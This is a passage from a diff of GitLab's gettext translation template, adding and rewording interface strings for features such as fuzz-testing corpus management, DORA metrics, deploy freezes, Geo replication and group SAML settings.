msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7812,7 +8179,7 @@ msgstr ""
msgid "ComplianceFrameworks|Invalid format: it should follow the format [PATH].y(a)ml@[GROUP]/[PROJECT]"
msgstr ""
-msgid "ComplianceFrameworks|Once you have created a compliance framework it will appear here."
+msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
msgid "ComplianceFrameworks|Regulated"
@@ -7947,6 +8314,15 @@ msgstr ""
msgid "Confirm"
msgstr ""
+msgid "Confirm new password"
+msgstr ""
+
+msgid "Confirm your account"
+msgstr ""
+
+msgid "Confirm your email address"
+msgstr ""
+
msgid "Confirmation email sent to %{email}"
msgstr ""
@@ -8358,6 +8734,9 @@ msgstr ""
msgid "Contains %{count} blobs of images (%{size})"
msgstr ""
+msgid "ContentEditor|You have to provide a renderMarkdown function or a custom serializer"
+msgstr ""
+
msgid "Contents of .gitlab-ci.yml"
msgstr ""
@@ -8412,7 +8791,7 @@ msgstr ""
msgid "ContributionAnalytics|Last week"
msgstr ""
-msgid "ContributionAnalytics|Merge Requests"
+msgid "ContributionAnalytics|Merge requests"
msgstr ""
msgid "ContributionAnalytics|No issues for the selected time period."
@@ -8457,6 +8836,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8502,9 +8884,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8559,12 +8938,54 @@ msgstr ""
msgid "Copy value"
msgstr ""
+msgid "Corpus Management|Are you sure you want to delete the corpus?"
+msgstr ""
+
+msgid "CorpusManagement|Actions"
+msgstr ""
+
+msgid "CorpusManagement|Corpus are used in fuzz testing as mutation source to Improve future testing."
+msgstr ""
+
+msgid "CorpusManagement|Corpus name"
+msgstr ""
+
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|Last updated"
+msgstr ""
+
+msgid "CorpusManagement|Last used"
+msgstr ""
+
+msgid "CorpusManagement|Latest Job:"
+msgstr ""
+
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10Gib"
+msgstr ""
+
+msgid "CorpusManagement|New upload"
+msgstr ""
+
+msgid "CorpusManagement|Not Set"
+msgstr ""
+
+msgid "CorpusManagement|Target"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
+msgid "CorpusMnagement|New corpus"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8619,12 +9040,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8670,17 +9100,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8741,6 +9169,9 @@ msgstr ""
msgid "Create blank project"
msgstr ""
+msgid "Create blank project/repository"
+msgstr ""
+
msgid "Create branch"
msgstr ""
@@ -8825,9 +9256,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -9071,6 +9499,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9101,6 +9532,9 @@ msgstr ""
msgid "Crossplane"
msgstr ""
+msgid "Crowd"
+msgstr ""
+
msgid "Current"
msgstr ""
@@ -9423,6 +9857,45 @@ msgstr ""
msgid "DNS"
msgstr ""
+msgid "DORA4Metrics|%{startDate} - %{endDate}"
+msgstr ""
+
+msgid "DORA4Metrics|Date"
+msgstr ""
+
+msgid "DORA4Metrics|Days from merge to deploy"
+msgstr ""
+
+msgid "DORA4Metrics|Deployments"
+msgstr ""
+
+msgid "DORA4Metrics|Deployments charts"
+msgstr ""
+
+msgid "DORA4Metrics|Lead time"
+msgstr ""
+
+msgid "DORA4Metrics|Median lead time"
+msgstr ""
+
+msgid "DORA4Metrics|No merge requests were deployed during this period"
+msgstr ""
+
+msgid "DORA4Metrics|Something went wrong while getting deployment frequency data"
+msgstr ""
+
+msgid "DORA4Metrics|Something went wrong while getting lead time data."
+msgstr ""
+
+msgid "DORA4Metrics|These charts display the frequency of deployments to the production environment, as part of the DORA 4 metrics. The environment must be named %{codeStart}production%{codeEnd} for its data to appear in these charts."
+msgstr ""
+
+msgid "DORA4Metrics|These charts display the median time between a merge request being merged and deployed to production, as part of the DORA 4 metrics."
+msgstr ""
+
+msgid "DORA4|Lead time charts"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -9693,7 +10166,7 @@ msgstr ""
msgid "DastProfiles|URL"
msgstr ""
-msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgid "DastProfiles|URLs to skip during the authenticated scan."
msgstr ""
msgid "DastProfiles|Username"
@@ -9854,6 +10327,12 @@ msgstr ""
msgid "Decompressed archive size validation failed."
msgstr ""
+msgid "Decrease"
+msgstr ""
+
+msgid "Default"
+msgstr ""
+
msgid "Default CI configuration path"
msgstr ""
@@ -9971,7 +10450,7 @@ msgstr ""
msgid "Delete label"
msgstr ""
-msgid "Delete label: %{label_name} ?"
+msgid "Delete label: %{labelName}"
msgstr ""
msgid "Delete pipeline"
@@ -10070,18 +10549,12 @@ msgstr ""
msgid "Denied authorization of chat nickname %{user_name}."
msgstr ""
-msgid "Denied domains for sign-ups"
-msgstr ""
-
msgid "Deny"
msgstr ""
msgid "Deny access request"
msgstr ""
-msgid "Denylist file"
-msgstr ""
-
msgid "Dependencies"
msgstr ""
@@ -10226,13 +10699,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10343,9 +10822,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10373,9 +10849,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10406,24 +10879,6 @@ msgstr ""
msgid "Deployment Frequency"
msgstr ""
-msgid "DeploymentFrequencyCharts|%{startDate} - %{endDate}"
-msgstr ""
-
-msgid "DeploymentFrequencyCharts|Date"
-msgstr ""
-
-msgid "DeploymentFrequencyCharts|Deployments"
-msgstr ""
-
-msgid "DeploymentFrequencyCharts|Deployments charts"
-msgstr ""
-
-msgid "DeploymentFrequencyCharts|Something went wrong while getting deployment frequency data"
-msgstr ""
-
-msgid "DeploymentFrequencyCharts|These charts display the frequency of deployments to the production environment, as part of the DORA 4 metrics. The environment must be named %{codeStart}production%{codeEnd} for its data to appear in these charts."
-msgstr ""
-
msgid "Deployments"
msgstr ""
@@ -10489,9 +10944,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10657,15 +11109,18 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|Add / remove groups"
-msgstr ""
-
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add/remove groups"
+msgstr ""
+
+msgid "DevopsAdoption|Add/remove sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|Adopted"
msgstr ""
@@ -10738,7 +11193,7 @@ msgstr ""
msgid "DevopsAdoption|Remove Group"
msgstr ""
-msgid "DevopsAdoption|Remove Group from the table"
+msgid "DevopsAdoption|Remove Group from the table."
msgstr ""
msgid "DevopsAdoption|Runner configured for project/group"
@@ -10753,10 +11208,16 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
-msgid "DevopsAdoption|There was an error fetching Group adoption data. Please refresh the page to try again."
+msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Group adoption data. Please refresh the page."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
-msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
msgid "DevopsReport|Adoption"
@@ -10774,6 +11235,9 @@ msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "Didn't receive a confirmation email?"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -10858,7 +11322,7 @@ msgstr ""
msgid "DiscordService|Discord Notifications"
msgstr ""
-msgid "DiscordService|Receive event notifications in Discord"
+msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
msgid "Discover GitLab Geo"
@@ -10920,9 +11384,6 @@ msgstr[1] ""
msgid "Dismiss DevOps Report introduction"
msgstr ""
-msgid "Dismiss Merge Request promotion"
-msgstr ""
-
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
@@ -10950,7 +11411,7 @@ msgstr ""
msgid "Dismissed on pipeline %{pipelineLink} at %{projectLink}"
msgstr ""
-msgid "Display alerts from all your monitoring tools directly within GitLab."
+msgid "Display alerts from all configured monitoring tools."
msgstr ""
msgid "Display name"
@@ -10983,10 +11444,10 @@ msgstr ""
msgid "Domain"
msgstr ""
-msgid "Domain cannot be deleted while associated to one or more clusters."
+msgid "Domain Name"
msgstr ""
-msgid "Domain denylist"
+msgid "Domain cannot be deleted while associated to one or more clusters."
msgstr ""
msgid "Domain verification is an essential security measure for public GitLab sites. Users are required to demonstrate they control a domain before it is enabled"
@@ -11118,6 +11579,9 @@ msgstr ""
msgid "Dynamic Application Security Testing (DAST)"
msgstr ""
+msgid "Each project can also have an issue tracker and a wiki."
+msgstr ""
+
msgid "Edit"
msgstr ""
@@ -11172,6 +11636,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11184,6 +11651,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11241,6 +11711,9 @@ msgstr ""
msgid "Editor Lite instance is required to set up an extension."
msgstr ""
+msgid "Elapsed time"
+msgstr ""
+
msgid "Elasticsearch AWS IAM credentials"
msgstr ""
@@ -11304,16 +11777,10 @@ msgstr ""
msgid "Email patch"
msgstr ""
-msgid "Email restrictions"
-msgstr ""
-
-msgid "Email restrictions for sign-ups"
-msgstr ""
-
msgid "Email sent"
msgstr ""
-msgid "Email the pipelines status to a list of recipients."
+msgid "Email the pipeline status to a list of recipients."
msgstr ""
msgid "Email updates (optional)"
@@ -11364,9 +11831,6 @@ msgstr ""
msgid "Emails sent to %{email} are also supported."
msgstr ""
-msgid "Emails separated by comma"
-msgstr ""
-
msgid "EmailsOnPushService|Disable code diffs"
msgstr ""
@@ -11379,13 +11843,19 @@ msgstr ""
msgid "EmailsOnPushService|Emails on push"
msgstr ""
-msgid "EmailsOnPushService|Emails separated by whitespace"
+msgid "EmailsOnPushService|Emails separated by whitespace."
msgstr ""
msgid "EmailsOnPushService|Send from committer"
msgstr ""
-msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain is part of the domain GitLab is running on (e.g. %{domains})."
+msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
+msgstr ""
+
+msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
msgid "Embed"
@@ -11403,6 +11873,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11427,6 +11900,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11439,6 +11915,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11451,13 +11930,16 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
-msgid "Enable classification control using an external service"
+msgid "Enable authenticated API request rate limit"
msgstr ""
-msgid "Enable container expiration and retention policies for projects created earlier than GitLab 12.7."
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
+msgid "Enable classification control using an external service"
msgstr ""
-msgid "Enable email restrictions for sign ups"
+msgid "Enable container expiration and retention policies for projects created earlier than GitLab 12.7."
msgstr ""
msgid "Enable error tracking"
@@ -11538,6 +12020,9 @@ msgstr ""
msgid "Enable two-factor authentication"
msgstr ""
+msgid "Enable unauthenticated request rate limit"
+msgstr ""
+
msgid "Enable usage ping"
msgstr ""
@@ -11577,6 +12062,9 @@ msgstr ""
msgid "End Time"
msgstr ""
+msgid "Ends"
+msgstr ""
+
msgid "Ends at (UTC)"
msgstr ""
@@ -11634,9 +12122,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -11943,6 +12428,9 @@ msgstr ""
msgid "Epic cannot be found."
msgstr ""
+msgid "Epic details"
+msgstr ""
+
msgid "Epic events"
msgstr ""
@@ -11961,7 +12449,7 @@ msgstr ""
msgid "Epics let you manage your portfolio of projects more efficiently and with less effort"
msgstr ""
-msgid "Epics, Issues, and Merge Requests"
+msgid "Epics, issues, and merge requests"
msgstr ""
msgid "Epics|%{startDate} – %{dueDate}"
@@ -12264,19 +12752,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12285,7 +12773,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12396,9 +12884,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12465,6 +12950,12 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
+msgid "Expand pipeline"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12576,9 +13067,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12594,19 +13082,28 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
+msgid "External url has already been taken"
+msgstr ""
+
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
-msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
+msgid "ExternalWikiService|Link to an external wiki from the sidebar."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
+msgstr ""
+
+msgid "Externally installed"
msgstr ""
msgid "Facebook"
@@ -12654,9 +13151,6 @@ msgstr ""
msgid "Failed to clone this issue: wrong parameters."
msgstr ""
-msgid "Failed to create Merge Request. Please try again."
-msgstr ""
-
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
@@ -12669,6 +13163,9 @@ msgstr ""
msgid "Failed to create import label for jira import."
msgstr ""
+msgid "Failed to create merge request. Please try again."
+msgstr ""
+
msgid "Failed to create new project access token: %{token_response_message}"
msgstr ""
@@ -12846,9 +13343,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13370,6 +13864,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13418,9 +13915,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For general work"
+msgstr ""
+
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13430,9 +13933,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13562,6 +14062,9 @@ msgstr ""
msgid "From the Kubernetes cluster details view, applications list, install GitLab Runner."
msgstr ""
+msgid "Full"
+msgstr ""
+
msgid "Full name"
msgstr ""
@@ -13769,6 +14272,12 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{timeAgoStr} (%{pendingEvents} events)"
+msgstr ""
+
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13811,9 +14320,18 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
+msgid "Geo|Data type"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13823,6 +14341,9 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Geo nodes are paused using a command run on the node"
+msgstr ""
+
msgid "Geo|Geo sites"
msgstr ""
@@ -13838,6 +14359,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13862,9 +14392,6 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
-msgid "Geo|Node Details"
-msgstr ""
-
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -13874,6 +14401,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13901,6 +14434,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13913,6 +14449,27 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13937,21 +14494,33 @@ msgstr ""
msgid "Geo|Secondary site"
msgstr ""
+msgid "Geo|Selective (%{syncLabel})"
+msgstr ""
+
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
msgid "Geo|Synced at"
msgstr ""
+msgid "Geo|Synchronization"
+msgstr ""
+
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13982,9 +14551,15 @@ msgstr ""
msgid "Geo|Unknown state"
msgstr ""
+msgid "Geo|Verification"
+msgstr ""
+
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -14009,6 +14584,9 @@ msgstr ""
msgid "Get a free instance review"
msgstr ""
+msgid "Get a support subscription"
+msgstr ""
+
msgid "Get started"
msgstr ""
@@ -14030,6 +14608,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -14084,6 +14665,9 @@ msgstr ""
msgid "GitLab Billing Team."
msgstr ""
+msgid "GitLab CI"
+msgstr ""
+
msgid "GitLab Import"
msgstr ""
@@ -14135,6 +14719,9 @@ msgstr ""
msgid "GitLab is obtaining a Let's Encrypt SSL certificate for this domain. This process can take some time. Please try again later."
msgstr ""
+msgid "GitLab is open source software to collaborate on code."
+msgstr ""
+
msgid "GitLab is undergoing maintenance and is operating in a read-only mode."
msgstr ""
@@ -14159,6 +14746,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14207,9 +14800,6 @@ msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
msgstr ""
-msgid "GitLabPages|Learn more."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -14234,9 +14824,6 @@ msgstr ""
msgid "GitLabPages|Save"
msgstr ""
-msgid "GitLabPages|See the %{docs_link_start}GitLab Pages documentation%{link_end} to learn how to upload your static site and have GitLab serve it. You can also follow a %{samples_link_start}sample project%{link_end} or use a %{templates_link_start}GitLab CI template%{link_end}."
-msgstr ""
-
msgid "GitLabPages|Something went wrong while obtaining the Let's Encrypt certificate for %{domain}. To retry visit your %{link_start}domain details%{link_end}."
msgstr ""
@@ -14252,10 +14839,16 @@ msgstr ""
msgid "GitLabPages|Verified"
msgstr ""
-msgid "GitLabPages|When using Pages under the general domain of a GitLab instance (%{pages_host}), you cannot use HTTPS with sub-subdomains. This means that if your username/groupname contains a dot it will not work. This is a limitation of the HTTP Over TLS protocol. HTTP pages will continue to work provided you don't redirect HTTP to HTTPS."
+msgid "GitLabPages|When enabled, all attempts to visit your website through HTTP are automatically redirected to HTTPS using a response with status code 301. Requires a valid certificate for all domains. %{docs_link_start}Learn more.%{link_end}"
msgstr ""
-msgid "GitLabPages|With GitLab Pages you can host your static websites on GitLab. Combined with the power of GitLab CI and the help of GitLab Runner you can deploy static pages for your individual projects, your user or your group."
+msgid "GitLabPages|When using Pages under the general domain of a GitLab instance (%{pages_host}), you cannot use HTTPS with sub-subdomains. This means that if your username/groupname contains a dot it will not work. This is a limitation of the HTTP Over TLS protocol. HTTP pages will continue to work provided you don't redirect HTTP to HTTPS. %{docs_link_start}Learn more.%{link_end}"
+msgstr ""
+
+msgid "GitLabPages|With GitLab Pages you can host your static website directly from your GitLab repository. %{docs_link_start}Learn more.%{link_end}"
+msgstr ""
+
+msgid "GitLabPages|Your Pages site is not configured yet. See the %{docs_link_start}GitLab Pages documentation%{link_end} to learn how to upload your static site and have GitLab serve it. You can also take some inspiration from the %{samples_link_start}sample Pages projects%{link_end}."
msgstr ""
msgid "GitLabPages|Your pages are served under:"
@@ -14282,6 +14875,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14324,15 +14935,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
+msgid "Go back to configuration"
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Integrations"
-msgstr ""
-
msgid "Go to Webhooks"
msgstr ""
@@ -14534,6 +15142,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14615,9 +15229,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14705,6 +15316,9 @@ msgstr ""
msgid "GroupRoadmap|The roadmap shows the progress of your epics along a timeline"
msgstr ""
+msgid "GroupRoadmap|To make your epics appear in the roadmap, add start or due dates to them."
+msgstr ""
+
msgid "GroupRoadmap|To view the roadmap, add a start or due date to one of the %{linkStart}child epics%{linkEnd}."
msgstr ""
@@ -14720,9 +15334,18 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
+msgid "GroupSAML|Before enforcing SSO-access for Git, enable SSO-only authentication for web activity."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14738,7 +15361,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14834,9 +15460,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14876,7 +15499,7 @@ msgstr ""
msgid "GroupSelect|Select a group"
msgstr ""
-msgid "GroupSettings|Apply integration settings to all Projects"
